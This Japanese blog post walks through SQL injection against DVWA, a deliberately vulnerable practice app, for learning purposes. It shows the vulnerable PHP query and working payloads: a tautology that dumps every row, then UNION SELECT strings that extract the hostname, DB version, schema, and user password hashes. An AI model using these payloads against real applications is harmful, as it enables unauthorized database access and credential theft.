SQLインジェクションでDB情報取得
今回は、前回の記事で作成した脆弱性WebアプリケーションDVWAにSQLインジェクションを仕掛けて、DB情報をごっそり抜き取ってみたいと思います(ユーザーのパスワード抜き出しまで行います)。
スクール時代はRailsでWebアプリケーションを開発していたため(SQL文は書かずにモデルがよしなにデータを抽出してくれる)、PHPでSQL文を書くとなると、結構こういったセキュリティのことも学ばなければいけないなと思いました。
#SQLインジェクションとは?
SQLインジェクションとは簡単に説明すると、Webアプリケーションが意図しないようなSQL文を書くことによって、DBの情報を抜き出す攻撃手法のことです。
一つのSQL文の脆弱性から、ユーザーのパスワードを抜き出すといったことも可能になるので、今回はそのSQLインジェクションをプログラミング初心者がハッカー気分で再現したいと思います。
DVWAでSQLインジェクション
今回は、セキュリティレベルをLowにして行なっていきます。
セキュリティレベルLowのソースコード
SQLインジェクションを行うページのコードは下記のようになっています。
view sourceボタンをクリックすることによって確認することができるので、どこに脆弱性があるか考えて行きます。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
Webアプリケーションの仕様に関しては、1~5までのUserIDを入れると、ID、First Name、Surnameが表示されるといった仕様です。
#SQL文のソースコード
上記で記載したソースコードのうち、SQL文に関連するものは以下になります。
if( isset( $_REQUEST[ 'Submit' ] ) )
$id = $_REQUEST[ 'id' ];
"SELECT first_name, last_name FROM users WHERE user_id = '$id';";
ざっくり説明すると、登録情報がREQUESTで配列型に格納され、そのidの情報を変数として入れているといったコードになっています。
#表示されるユーザー情報を抜き出す
ここでの問題点は、user_id = '$id'の部分にあります。
例えばUser IDの検索ボックスで、' OR 'a' = 'aと入力したとします。
すると、以下のようなSQL文になります。
" SELECT first_name, last_name FROM users WHERE user_id = ' ' OR 'a' = 'a';";
こうすることで、WHERE句が常に成立する状態となり、全てのユーザー情報を表示させることができます。
実際に入力してみると以下のようになります。
見事にid番号を入れたら表示されるユーザー情報が、全て抜き出せてますね。
#ユーザーのパスワード情報を抜き出す
上記のようなSQLインジェクションで攻撃できることがわかったので、今度はユーザーのパスワード情報も抜き出して見たいと思います。
##UNION句
ユーザーのパスワード情報を抜き出すため、今回のSQLインジェクションではUNION句を使います。
UNION句を使うとSQL文を統合することができ、1つの結果としてクエリを取得することが可能です。
つまり、前述した自由にSQL文を書き換えることができるコード内では、UNION句を使うことによって新たなSQL文も自由に書けるということになります。
##ホスト名取得
まずは、ホスト名を取得します。
ホスト名を取得するには@@hostnameのグローバル変数(データベースサーバーで設定された値)を使用します。
そのため、以下のようなSQL文を書くことができます。
" SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT @@hostname';";
ただ、これだと2つの問題があります。
1点目は、@@hostname後のシングルクオテーションが余分についてきてしまうため、文法エラーになってしまうことです。
これをどうにかして除外しなければいけません。
そこで使えるのが、コメントアウトです。
コメントアウトとして@@hostname以降に#または--を書き加え、それ以降の記号やSQL文を無効化することができます。
つまりは、以下のようになります。
" SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT @@hostname #';";
上のものと同義
" SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT @@hostname;";
これで余分なシングルクオテーションを除外することができました。
しかしここでSQL文を実行しても2点目の問題点である、カラム値が違うよというエラーがでてしまいます。
The used SELECT statements have a different number of columns
これはfirst_name, last_nameどちらかのカラムに入る値を、nullに指定すれば解決できます。
" SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,@@hostname #';";
実際に検索欄に入力すると、下記のようにホスト名を取得できます。
これでホスト名が、d63a605411deであることが確認できました。
##DBのバージョン情報取得
次に扱えるSQL文などを知るために、DBのバージョン情報も取得します。
SQL文としては、ホスト名を取得した際と同様に書きます。
" SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,@@version #';";
実際に検索欄で入力するとこんな感じになります。
これでDBのバージョンが、MariaDBの10.1.13であることが確認できました。
##DB名・ユーザ名を取得
次にDB名・ユーザ名を取得します。
現在接続しているDB名とそのユーザー名を取得するには、DATABASE()とUSER()で取得できます。
" SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT DATABASE(),USER() #';";
実際に入力するとこんな感じに表示されます。
これで接続しているDB名がdvwa、ユーザ名がadmin@localhostであることが確認できました。
##接続DBの該当テーブルとカラムを取得
次に接続されているDBの該当テーブル情報を抜き出します。
ここで利用するSQL文がテーブルの情報を取得できるINFORMATION_SCHEMAです。
実際のSQL文は以下のようになります。
" SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'dvwa' #';";
まず、UNION SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS で全てのテーブル名とカラム名を取得しています。
ただ欲しい情報は、スキーマ名(DB名)がdvwaの時なので、WHERE TABLE_SCHEMA = 'dvwa' #という条件を付け加えます。
実際に入力すると、以下のようになります。
これでdvwaのDBのテーブル名がguestbookとusersということと、各カラム名の情報が分かりました。
##該当テーブルのカラムからユーザーのパスワード情報取得
テーブル名やカラム名から情報を推測できない場合は、一つ一つ試していかなければいけませんが、今回はusersテーブルのpasswordというカラムが怪しいので、user_idと一緒に取得するSQL文を書きます。
" SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT user_id,password FROM dvwa.users #';";
実際には、こんな感じに表示されます。
こんな感じで、無事ユーザー名とパスワードが取得できました。
今回取得した情報を使えば、DBを消したり、不正にアクセスしたりも可能になります。
始まりは一つの脆弱性のあるSQL文だったので、恐ろしいですね。
このような脆弱性のあるコードを書かないための解決策は、また違う記事で書こうと思います。
参考文献
安全なWebアプリケーションの作り方 徳丸浩
https://qiita.com/y-araki-qiita/items/131efa82c4205e83fef8
http://it-hack.net/2016/05/13/post-1496/
http://otndnld.oracle.co.jp/document/products/oracle10g/102/doc_cd/server.102/B19277-01/ch12.html